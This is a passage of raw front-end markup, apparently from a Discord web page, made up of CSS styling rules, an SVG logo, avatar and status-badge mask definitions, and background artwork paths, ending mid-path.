.skipToContent-2sfMWq { position: absolute; left: -10000px; top: auto; width: 1px; height: 1px; overflow: hidden; margin-top: 1em; padding: 4px; color: rgb(255, 255, 255); font-size: 16px; }

.skipToContent-2sfMWq:focus { left: 0px; width: auto; height: auto; opacity: 1; }

.logo-bM13MH { width: 130px; height: 36px; }

.headerNav-3duBda { -webkit-box-align: center; align-items: center; list-style: none; display: flex; -webkit-box-flex: 1; flex: 1 0 auto; padding: 0px; margin: 0px; min-height: 56px; }

.headerNav-3duBda::after { content: ""; display: block; min-height: inherit; font-size: 0px; }

.headerNavRight-ltJnme { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 1 auto; margin-left: auto; }

.listItem-27TD-I { display: inline-block; -webkit-font-smoothing: subpixel-antialiased; position: relative; transition: opacity 0.125s ease 0s; will-change: opacity; }

.listItemInactive-2QUAeC { cursor: pointer; opacity: 0.8; }

.listItemInactive-2QUAeC:focus, .listItemInactive-2QUAeC:focus-within, .listItemInactive-2QUAeC:hover { opacity: 1; }

.listItemActive-1VNBaI { opacity: 1; }

.navLink-1iTBqC { color: rgb(255, 255, 255); font-weight: 400; text-decoration: none; position: relative; }

.mainNavLink-1UmOkJ { padding: 15px 10px; }

.mainNavLink-1UmOkJ, .rightNavLink-3pMf8T { margin-right: 8px; }

.rightNavLink-3pMf8T { top: 3px; padding: 15px 10px 15px 0px; }

.appButton-3PBVIc { color: rgb(255, 255, 255); top: 0px; border: 2px solid rgba(255, 255, 255, 0.8); padding: 5px 17px 7px; border-radius: 20px; line-height: 24px; margin-right: 18px; }

.desktopSubMenuItem-1IYZZL { position: relative; opacity: 0.8; }

.desktopSubMenuItem-1IYZZL:focus, .desktopSubMenuItem-1IYZZL:focus-within, .desktopSubMenuItem-1IYZZL:hover { opacity: 1; }

.desktopMenuMore-1IP46G { color: rgb(255, 255, 255); text-decoration: none; font-weight: 400; padding: 15px 10px; }

.iconArrow-3jLYM4 { margin-left: 5px; position: relative; top: -1px; }

@media screen and (max-width: 1024px) {
  .listItemSocialMedia-gHZEeR { display: none; }
}

.btnHamburger-1uQpod { width: 60px; height: 45px; position: relative; cursor: pointer; background: transparent; transform: scale(0.3); margin-right: -20px; padding: 8px; }

.btnHamburger-1uQpod span { display: block; position: absolute; height: 9px; width: 50%; background: rgb(255, 255, 255); opacity: 1; transform: rotate(0deg); transition: all 0.25s ease-in-out 0s; }

.btnHamburger-1uQpod span:nth-child(2n) { left: 50%; border-radius: 0px 9px 9px 0px; }

.btnHamburger-1uQpod span:nth-child(2n+1) { left: 0px; border-radius: 9px 0px 0px 9px; }

.btnHamburger-1uQpod span:first-child, .btnHamburger-1uQpod span:nth-child(2) { top: 0px; }

.btnHamburger-1uQpod span:nth-child(3), .btnHamburger-1uQpod span:nth-child(4) { top: 18px; }

.btnHamburger-1uQpod span:nth-child(5), .btnHamburger-1uQpod span:nth-child(6) { top: 36px; }

.btnHamburgerOpen-2LHDJQ span:first-child, .btnHamburgerOpen-2LHDJQ span:nth-child(6) { transform: rotate(45deg); }

.btnHamburgerOpen-2LHDJQ span:nth-child(2), .btnHamburgerOpen-2LHDJQ span:nth-child(5) { transform: rotate(-45deg); }

.btnHamburgerOpen-2LHDJQ span:first-child { left: 5px; top: 7px; }

.btnHamburgerOpen-2LHDJQ span:nth-child(2) { left: calc(50% - 5px); top: 7px; }

.btnHamburgerOpen-2LHDJQ span:nth-child(3) { left: -50%; opacity: 0; }

.btnHamburgerOpen-2LHDJQ span:nth-child(4) { left: 100%; opacity: 0; }

.btnHamburgerOpen-2LHDJQ span:nth-child(5) { left: 5px; top: 29px; }

.btnHamburgerOpen-2LHDJQ span:nth-child(6) { left: calc(50% - 5px); top: 29px; }

.header-3Q96EX { -webkit-box-align: stretch; align-items: stretch; box-sizing: border-box; color: rgb(255, 255, 255); font-size: 14px; font-weight: 400; min-height: 40px; height: 40px; justify-content: stretch; margin: 0px auto; padding: 4px 10px; position: relative; user-select: none; width: 100%; z-index: 56; }

.header-3Q96EX, .headerInner-3BOEIL { display: flex; }

.headerInner-3BOEIL { -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-align: center; align-items: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: justify; justify-content: space-between; }

.hamburgerButton-2UixKk, .headerLogo-IsoUJA { position: relative; z-index: 70; }

.headerLogo-IsoUJA { }

.logoWrapper-1Cp7GK { display: block; transform: translateY(2px); }

.logo-3huKjV { width: 86px; height: 24px; }

.headerNav-1zKqFG { position: absolute; top: -2px; right: 0px; left: 0px; background-color: rgb(0, 0, 0); list-style: none; margin: 0px; opacity: 0; padding: 40px 0px 0px; transform: translateY(-100%); transition: opacity 0.2s ease 0s, transform 0.2s ease 0s, -webkit-transform 0.2s ease 0s; z-index: 55; }

.headerNavOpen-2iqggx { opacity: 1; transform: translateY(0px); }

.headerSubNavOpen-1fK1jw { position: relative; display: block; opacity: 1; z-index: 55; margin-top: 8px; }

.mainNavLink-1JsuT3 { color: rgb(220, 221, 222); display: block; padding: 17px 10px; font-size: 15px; text-decoration: none; transition: color 0.2s ease 0s; text-align: center; border-radius: 2px; border-top: 1px solid rgba(79, 84, 92, 0.4); }

.mainNavLink-1JsuT3:hover { color: rgb(246, 246, 247); }

.localePicker-2ce29q { border-top: 1px solid rgba(79, 84, 92, 0.4); }

.mobileHeader-3jnkN- { display: none; }

.desktopHeader-bjSB2N { display: block; }

@media (max-width: 848px) {
  .mobileHeader-3jnkN- { display: flex; }
  .desktopHeader-bjSB2N { display: none; }
}


<svg fill="none" height="36" viewBox="0 0 130 36" width="130" xmlns="http://www.w3.org/2000/svg"><g fill="#fff"><path d="m27.5247 8.06243c-2.1034-.96349-4.3524-1.66374-6.7036-2.06243-.2888.51114-.6261 1.19861-.8587 1.74553-2.4995-.36802-4.9759-.36802-7.4293 0-.2326-.54692-.5777-1.23439-.869-1.74553-2.35376.39869-4.60533 1.1015-6.70864 2.06754-4.242451 6.27676-5.392506 12.39766-4.817478 18.43156 2.813808 2.0574 5.540698 3.3071 8.221628 4.1249.6619-.892 1.25228-1.8401 1.76089-2.8394-.96862-.3603-1.89634-.805-2.77294-1.3213.23259-.1686.46001-.345.67979-.5265 5.34655 2.4484 11.15555 2.4484 16.43815 0 .2224.1815.4498.3579.6798.5265-.8791.5188-1.8094.9635-2.778 1.3239.5086.9967 1.0964 1.9474 1.7609 2.8393 2.6834-.8178 5.4129-2.0675 8.2267-4.1274.6747-6.9949-1.1526-13.0595-4.8302-18.43667zm-16.6759 14.72587c-1.6049 0-2.92111-1.467-2.92111-3.2534s1.28807-3.2559 2.92111-3.2559c1.6331 0 2.9493 1.4669 2.9212 3.2559.0025 1.7864-1.2881 3.2534-2.9212 3.2534zm10.7952 0c-1.6049 0-2.9211-1.467-2.9211-3.2534s1.2881-3.2559 2.9211-3.2559c1.6331 0 2.9493 1.4669 2.9212 3.2559 0 1.7864-1.2881 3.2534-2.9212 3.2534z"/><path d="m43.6636 12.2823h6.9771c1.6817 0 3.1025.2632 4.268.7871 1.1629.524 2.0344 1.2549 2.6119 2.1902.5774.9354.8689 2.0062.8689 3.2125 0 1.1808-.3015 2.2516-.9046 3.21-.6031.9609-1.5208 1.72-2.7552 2.2797-1.2343.5596-2.7627.8408-4.5901.8408h-6.476zm6.4047 9.3385c1.1318 0 2.0033-.2837 2.6119-.8485.6081-.5674.9122-1.3392.9122-2.318 0-.9073-.2709-1.6306-.8127-2.1724s-1.362-.8152-2.4586-.8152h-2.1825v6.1541z"/><path d="m68.8346 24.7872c-.966-.2505-1.8375-.6134-2.6119-1.0913v-2.9697c.5855.4524 1.37.8255 2.3541 1.1194.9835.2914 1.9344.437 2.8546.437.4292 0 .7539-.0562.9735-.1687.2196-.1124.3297-.2478.3297-.4037 0-.179-.0588-.3272-.1789-.4473s-.3528-.2198-.6976-.3041l-2.147-.483c-1.2293-.2863-2.1008-.6824-2.6195-1.191-.5186-.506-.777-1.1705-.777-1.9934 0-.6926.2252-1.2932.68-1.8069.4523-.5137 1.0962-.9098 1.932-1.1884.8357-.2811 1.8123-.4216 2.934-.4216 1.0017 0 1.9194.1073 2.7552.322.8353.2146 1.5253.4881 2.0751.8229v2.8087c-.5623-.3348-1.2061-.5981-1.9424-.7974-.7333-.1968-1.4877-.2939-2.2642-.2939-1.1222 0-1.6816.1917-1.6816.5725 0 .1789.0869.3118.2603.4012.1739.0895.4936.1814.9559.2786l1.7892.322c1.168.2019 2.0395.5572 2.612 1.0632.5724.506.8584 1.2548.8584 2.2464 0 1.0862-.4725 1.9474-1.4208 2.5863-.9484.639-2.2923.9584-4.0353.9584-1.0252-.0025-2.0219-.1277-2.9878-.3782z"/><path d="m81.5008 24.4114c-1.0247-.5009-1.7992-1.1807-2.3154-2.0394-.5161-.8587-.777-1.8248-.777-2.8982 0-1.0733.2684-2.0343.8052-2.8802.5367-.846 1.3238-1.5104 2.3616-1.9935 1.0373-.4829 2.2767-.7232 3.7211-.7232 1.7887 0 3.2739.3757 4.4544 1.1271v3.2738c-.4166-.2862-.9021-.5188-1.457-.6977-.5543-.1789-1.1474-.2684-1.7811-.2684-1.1092 0-1.9757.2019-2.6019.6083-.6257.4063-.9403.9354-.9403 1.5922 0 .644.3041 1.1705.9127 1.5845.6081.4115 1.4896.6185 2.6476.6185.595 0 1.1831-.0869 1.763-.2581.578-.1738 1.0761-.386 1.4927-.6364v3.1665c-1.3112.7871-2.8315 1.1807-4.5619 1.1807-1.4565-.0051-2.6989-.2556-3.7237-.7565z"/><path d="m94.2132 24.4116c-1.0328-.5009-1.8198-1.1858-2.3616-2.0573s-.8152-1.8426-.8152-2.916.2709-2.0318.8152-2.8726 1.3263-1.5002 2.3536-1.9781c1.0247-.4779 2.249-.7156 3.6673-.7156 1.4188 0 2.6425.2377 3.6675.7156s1.807 1.1322 2.344 1.9678c.536.8358.805 1.7942.805 2.8803 0 1.0734-.269 2.0446-.805 2.916-.537.8716-1.321 1.5565-2.354 2.0574s-2.2518.7514-3.66.7514-2.627-.248-3.6568-.7489zm5.4359-3.1741c.4339-.4345.6539-1.0095.6539-1.7251s-.217-1.2855-.6539-1.7072c-.4347-.4243-1.0278-.6364-1.7791-.6364-.7639 0-1.362.2121-1.7992.6364-.4343.4242-.6514.9916-.6514 1.7072s.2171 1.2906.6514 1.7251c.4347.4344 1.0353.6542 1.7992.6542.7513-.0025 1.3444-.2198 1.7791-.6542z"/><path d="m115.438 14.5364v3.8642c-.455-.299-1.043-.4473-1.772-.4473-.952 0-1.689.2888-2.2.8665-.513.5775-.769 1.4771-.769 2.6936v3.2918h-4.383v-10.4656h4.294v3.3275c.237-1.2165.623-2.1135 1.155-2.6937.529-.5775 1.214-.8663 2.047-.8663.631 0 1.173.1431 1.628.4293z"/><path d="m130 11.9245v12.8806h-4.383v-2.3436c-.37.8818-.933 1.5539-1.689 2.0139-.757.4575-1.692.6875-2.802.6875-.991 0-1.855-.2402-2.593-.7232-.739-.4831-1.309-1.145-1.71-1.9858-.399-.8408-.601-1.7915-.601-2.8547-.012-1.0964.2-2.0803.636-2.9518.435-.8715 1.051-1.5513 1.843-2.0395.793-.4881 1.697-.7334 2.712-.7334 2.088 0 3.488.9072 4.204 2.7192v-4.6692zm-5.037 9.2413c.447-.4344.669-.9992.669-1.6893 0-.667-.217-1.2114-.651-1.628-.435-.4165-1.031-.6261-1.779-.6261-.739 0-1.329.2122-1.771.6364s-.662.9737-.662 1.6535.22 1.2344.662 1.6637c.442.4294 1.025.6441 1.753.6441.738-.0026 1.331-.2198 1.779-.6543z"/><path d="m62.0824 15.4539c1.2067 0 2.1853-.8787 2.1853-1.9627s-.9786-1.9628-2.1853-1.9628-2.1852.8788-2.1852 1.9628.9785 1.9627 2.1852 1.9627z"/><path d="m59.8953 16.806c1.3393.5776 3.0004.6032 4.3704 0v8.0555h-4.3704z"/></g></svg>

</style></head>



  <body>
    <div id="app-mount" class="appMount-3lHmkl"><svg viewBox="0 0 1 1" aria-hidden="true" style="position: absolute; pointer-events: none; top: -1px; left: -1px; width: 1px; height: 1px;"><mask id="svg-mask-squircle" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><path fill="white" d="M0 0.464C0 0.301585 0 0.220377 0.0316081 0.158343C0.0594114 0.103776 0.103776 0.0594114 0.158343 0.0316081C0.220377 0 0.301585 0 0.464 0H0.536C0.698415 0 0.779623 0 0.841657 0.0316081C0.896224 0.0594114 0.940589 0.103776 0.968392 0.158343C1 0.220377 1 0.301585 1 0.464V0.536C1 0.698415 1 0.779623 0.968392 0.841657C0.940589 0.896224 0.896224 0.940589 0.841657 0.968392C0.779623 1 0.698415 1 0.536 1H0.464C0.301585 1 0.220377 1 0.158343 0.968392C0.103776 0.940589 0.0594114 0.896224 0.0316081 0.841657C0 0.779623 0 0.698415 0 0.536V0.464Z"></path></mask><mask id="svg-mask-header-bar-badge" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect fill="white" x="0" y="0" width="1" height="1"></rect><circle fill="black" cx="0.75" cy="0.75" r="0.25"></circle></mask><mask id="svg-mask-voice-user-summary-item" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect fill="white" width="1" height="1"></rect><circle fill="black" cx="1.2083333333333333" cy="0.5" r="0.5416666666666666"></circle></mask><mask id="svg-mask-vertical-fade" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><linearGradient id="svg-mask-vertical-fade-gradient" gradientTransform="rotate(90)" x1="0" x2="1" y1="0" y2="0"><stop offset="0%" stop-color="white"></stop><stop offset="100%" stop-color="black"></stop></linearGradient><rect fill="url(#svg-mask-vertical-fade-gradient)" x="0" y="0" width="1" height="1"></rect></mask><mask id="svg-mask-panel-button" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect fill="white" x="0" y="0" width="1" height="1"></rect><circle fill="black" cx="0.75" cy="0.75" r="0.25"></circle></mask><mask id="svg-mask-channel-call-control-button" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.8214285714285714" cy="0.8214285714285714" r="0.25"></circle></mask><mask id="svg-mask-channel-call-control-button-badge-16" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.6428571428571429" y="-0.07142857142857142" width="0.42857142857142855" height="0.42857142857142855" rx="0.21428571428571427" ry="0.21428571428571427"></rect></mask><mask id="svg-mask-channel-call-control-button-badge-22" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.5357142857142857" y="-0.07142857142857142" width="0.5357142857142857" height="0.42857142857142855" rx="0.21428571428571427" ry="0.21428571428571427"></rect></mask><mask id="svg-mask-channel-call-control-button-badge-29" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.4107142857142857" y="-0.07142857142857142" width="0.6607142857142857" height="0.42857142857142855" rx="0.21428571428571427" ry="0.21428571428571427"></rect></mask><mask id="svg-mask-avatar-default" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle></mask><mask id="svg-mask-avatar-status-round-16" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.8125" cy="0.8125" r="0.3125"></circle></mask><mask id="svg-mask-avatar-status-mobile-16" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.5" y="0.3125" width="0.625" height="0.8125" rx="0.1625" ry="0.1625"></rect></mask><mask id="svg-mask-avatar-status-typing-16" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.21875" y="0.5" width="1.1875" height="0.625" rx="0.3125" ry="0.3125"></rect></mask><mask id="svg-mask-avatar-status-round-24" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.8333333333333334" cy="0.8333333333333334" r="0.2916666666666667"></circle></mask><mask id="svg-mask-avatar-status-mobile-24" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.5416666666666666" y="0.375" width="0.5833333333333334" height="0.75" rx="0.15" ry="0.15"></rect></mask><mask id="svg-mask-avatar-status-typing-24" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.2916666666666667" y="0.5416666666666666" width="1.0833333333333333" height="0.5833333333333334" rx="0.2916666666666667" ry="0.2916666666666667"></rect></mask><mask id="svg-mask-avatar-status-round-32" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.84375" cy="0.84375" r="0.25"></circle></mask><mask id="svg-mask-avatar-status-mobile-32" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.59375" y="0.4375" width="0.5" height="0.65625" rx="0.13125" ry="0.13125"></rect></mask><mask id="svg-mask-avatar-status-typing-32" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.359375" y="0.59375" width="0.96875" height="0.5" rx="0.25" ry="0.25"></rect></mask><mask id="svg-mask-avatar-status-round-40" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.85" cy="0.85" r="0.25"></circle></mask><mask id="svg-mask-avatar-status-mobile-40" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.6" y="0.45" width="0.5" height="0.65" rx="0.13" ry="0.13"></rect></mask><mask id="svg-mask-avatar-status-typing-40" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.375" y="0.6" width="0.95" height="0.5" rx="0.25" ry="0.25"></rect></mask><mask id="svg-mask-avatar-status-round-80" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle>
    <circle fill="black" cx="0.85" cy="0.85" r="0.175"></circle></mask><mask id="svg-mask-avatar-status-mobile-80" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.675" y="0.575" width="0.35" height="0.45" rx="0.09" ry="0.09"></rect></mask><mask id="svg-mask-avatar-status-typing-80" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.525" y="0.675" width="0.65" height="0.35" rx="0.175" ry="0.175"></rect></mask><mask id="svg-mask-avatar-status-round-120" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.8333333333333334" cy="0.8333333333333334" r="0.16666666666666666"></circle></mask><mask id="svg-mask-avatar-status-mobile-120" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.6666666666666666" y="0.5666666666666667" width="0.3333333333333333" height="0.43333333333333335" rx="0.08666666666666667" ry="0.08666666666666667"></rect></mask><mask id="svg-mask-avatar-status-typing-120" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.5166666666666667" y="0.6666666666666666" width="0.6333333333333333" height="0.3333333333333333" rx="0.16666666666666666" ry="0.16666666666666666"></rect></mask><mask id="svg-mask-status-online-mobile" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect fill="white" x="0" y="0" width="1" height="1" rx="0.1875" ry="0.125"></rect><rect fill="black" x="0.125" y="0.16666666666666666" width="0.75" height="0.5"></rect><ellipse fill="black" cx="0.5" cy="0.8333333333333334" rx="0.125" ry="0.08333333333333333"></ellipse></mask><mask id="svg-mask-status-online" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle></mask><mask id="svg-mask-status-idle" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.25" cy="0.25" r="0.375"></circle></mask><mask id="svg-mask-status-dnd" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><rect fill="black" x="0.125" y="0.375" width="0.75" height="0.25" rx="0.125" ry="0.125"></rect></mask><mask id="svg-mask-status-offline" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.5" cy="0.5" r="0.25"></circle></mask><mask id="svg-mask-status-streaming" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><polygon fill="black" points="0.35,0.25 0.78301275,0.5 0.35,0.75"></polygon></mask><mask id="svg-mask-status-typing" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect fill="white" cx="0" cy="0" width="1" height="1" ry="0.5" rx="0.2"></rect></mask><mask id="svg-mask-avatar-voice-call-80" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5"></circle><circle fill="black" cx="0.85" cy="0.85" r="0.2"></circle></mask><mask id="svg-mask-avatar-call-icon" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5" opacity="1"></circle><circle fill="black" cx="0.85" cy="0.15" r="0.2"></circle></mask><mask id="svg-mask-avatar-call-icon-32" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><circle fill="white" cx="0.5" cy="0.5" r="0.5" opacity="0.5"></circle><circle fill="black" cx="0.8" cy="0.25" r="0.325"></circle></mask><mask id="svg-mask-sticker-rounded-rect" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><path d="M0 0.26087C0 0.137894 0 0.0764069 0.0382035 0.0382035C0.0764069 0 0.137894 0 0.26087 0H0.73913C0.862106 0 0.923593 0 0.961797 0.0382035C1 0.0764069 1 0.137894 1 0.26087V0.73913C1 0.862106 1 0.923593 0.961797 0.961797C0.923593 1 0.862106 1 0.73913 1H0.26087C0.137894 1 0.0764069 1 0.0382035 0.961797C0 0.923593 0 0.862106 0 0.73913V0.26087Z" fill="white"></path></mask><mask id="svg-mask-chat-input-button-notification" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect width="1" height="1" fill="white"></rect><circle cx="0.85" cy="0.85" r="0.25" fill="black"></circle></mask><mask id="svg-mask-sticker-shop-notification" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect width="1" height="1" fill="white"></rect><circle cx="0.9" cy="0.9" r="0.5" fill="black"></circle></mask><mask id="svg-mask-autocomplete-emoji-upsell-emoji" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><rect fill="white" width="1" height="1"></rect><circle fill="black" cx="1.33" cy="0.5" r="0.5833333333333334"></circle></mask><mask id="svg-mask-event-ticket" maskContentUnits="objectBoundingBox" viewBox="0 0 1 1"><path d="M0 0.12C0 0.0779961 0 0.0569941 0.00408726 0.0409507C0.00768251 0.0268386 0.0134193 0.015365 0.0204754 0.00817451C0.028497 0 0.038998 0 0.06 0H0.94C0.961002 0 0.971503 0 0.979525 0.00817451C0.986581 0.015365 0.992318 0.0268386 0.995913 0.0409507C1 0.0569941 1 0.0779961 1 0.12V0.45C0.986193 0.45 0.975 0.472386 0.975 0.5C0.975 0.527614 0.986193 0.55 1 0.55V0.88C1 0.922004 1 0.943006 0.995913 0.959049C0.992318 0.973161 0.986581 0.984635 0.979525 0.991826C0.971503 1 0.961002 1 0.94 1H0.0600001C0.0389981 1 0.028497 1 0.0204754 0.991826C0.0134193 0.984635 0.00768251 0.973161 0.00408726 0.959049C0 0.943006 0 0.922004 0 0.88V0.55C0.0138071 0.55 0.025 0.527614 0.025 0.5C0.025 0.472386 0.0138071 0.45 0 0.45V0.12Z" fill="white"></path></mask></svg><svg viewBox="0 0 1 1" aria-hidden="true" style="position: absolute; pointer-events: none; top: -1px; left: -1px; width: 1px; height: 1px;"><linearGradient id="6ea3bad2-8adf-4f41-998b-d57d9bad0ce5"><stop stop-color="hsl(228, calc(var(--saturation-factor, 1) * 86.7%), 70.6%)"></stop><stop offset="1" stop-color="hsl(244, calc(var(--saturation-factor, 1) * 100%), 84.1%)"></stop></linearGradient><linearGradient id="50d92bab-4d56-4152-a0bb-2628d47d51b2"><stop stop-color="hsl(270, calc(var(--saturation-factor, 1) * 86.7%), 70.6%)"></stop><stop offset="1" stop-color="hsl(342, calc(var(--saturation-factor, 1) * 58%), 72.9%)"></stop></linearGradient><linearGradient id="b95b50fd-3d06-4c57-a39a-a9ac7ae2bb48"><stop stop-color="hsl(221, calc(var(--saturation-factor, 1) * 70%), 55.5%)"></stop><stop offset="1" stop-color="hsl(269, calc(var(--saturation-factor, 1) * 83.8%), 71%)"></stop></linearGradient><linearGradient id="2aa6377d-c887-440a-96b7-368333e7697f"><stop stop-color="hsl(160, calc(var(--saturation-factor, 1) * 81.3%), 35.7%)"></stop><stop offset="1" stop-color="hsl(198, calc(var(--saturation-factor, 1) * 81.5%), 46.7%)"></stop></linearGradient></svg><div style="position: fixed; opacity: 0; pointer-events: none;"></div><div class="app-1q1i1E"><div class="characterBackground-2itjYF"><a href="https://discord.com/" target="_blank" rel="noopener" class="logo-2iEHEq logo-1-AbdC" style="opacity: 1; transform: translateY(0px) translateZ(0px);"></a><svg class="artwork-1adZW0" preserveAspectRatio="xMinYMin slice" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 1700 1200"><defs><linearGradient id="linear-gradient" x1="269.71" x2="269.71" y1="800.4" y2="913.29" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#29cc7a"></stop><stop offset="1" stop-color="#038567"></stop></linearGradient><linearGradient id="linear-gradient-2" x1="1512.99" x2="1503.54" y1="519.46" y2="476.33" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#ffe75c"></stop>
    <stop offset="1" stop-color="#ffc619"></stop></linearGradient><linearGradient id="linear-gradient-3" x1="1441.31" x2="1426.37" y1="493.59" y2="538.11" xlink:href="#linear-gradient-2"></linearGradient><linearGradient id="linear-gradient-4" x1="1170.7" x2="1126.43" y1="805.19" y2="847.49" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#d11583"></stop><stop offset="1" stop-color="#eb50a4"></stop></linearGradient><linearGradient id="linear-gradient-5" x1="693.92" x2="693.92" y1="1235.03" y2="1193.91" gradientTransform="rotate(-21.3 -1852.872 -1403.071)" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#66bcff"></stop><stop offset="1" stop-color="#8cd9ff"></stop></linearGradient><linearGradient id="linear-gradient-6" x1="-6.39" x2="-57.56" y1="1177.84" y2="1139.89" gradientTransform="rotate(-4.2 -13157.002 -13444.26)" gradientUnits="userSpaceOnUse"><stop offset="0" stop-color="#ffc619"></stop><stop offset="1" stop-color="#ffe75c"></stop></linearGradient></defs><path fill="#5865f2" d="M0 0H1700V1200H0z" data-name="Layer 4"></path><g data-name="Layer 5"><path fill="#6270fc" d="M935.8 386.9c-2.1 0-4.2.2-6.3.3a126.6 126.6 0 00-176.9-48.4 126.3 126.3 0 00-225.3 48.3 64.7 64.7 0 00-8.6-5.8c-34.2-19.9-78.7-7-99.3 28.6-18.4 31.7-11.6 70.9 14.4 93.1-14.2 9.1-23.3 23-23.3 38.6 0 27.4 28 49.6 62.7 49.6a74.7 74.7 0 0034.9-8.4A126.4 126.4 0 00746 550.7a126.2 126.2 0 00166.8-20.2 73.6 73.6 0 0096.7-69.9 73.7 73.7 0 00-73.7-73.7z"></path><path fill="#6270fc" d="M1210.9 311.8A65.4 65.4 0 001173 324a73.7 73.7 0 00-139.8 32.4 78.3 78.3 0 001.1 12.9c-32.9 15-64.1 40.2-87.4 72.8h264a65.2 65.2 0 000-130.3z"></path><path fill="#707cff" d="M1035.5 617.4a115.9 115.9 0 10-199-109.1 117.7 117.7 0 104.3 194.1 76 76 0 00137.2-.7 51 51 0 1057.5-84.3z"></path></g><path fill="#6a77fc" d="M990 243.1H579.4a3 3 0 01-2.3-5c24.6-29.4 61.4-30.9 101.2-23.2 22.4-86.3 123-85.3 157.3-32.2 36.6-28.2 159-31.3 160.2 54.5a5.8 5.8 0 01-5.8 5.9z" data-name="Layer 25"></path><path fill="#6874f7" d="M57.9 530.5c89.2-45.1 152.1-10.2 152.1-10.2 44.1-13.7 83-4.1 103 11.6 12.5 9.7-15.5 8-78.3 8H60.2a5 5 0 01-5-5 4.9 4.9 0 012.7-4.4z" data-name="Layer 24"></path><path fill="#6874f7" d="M1525.8 824.6a34.7 34.7 0 00-66.9-12.1 33.3 33.3 0 00-7.8-.9 36.3 36.3 0 00-27.8 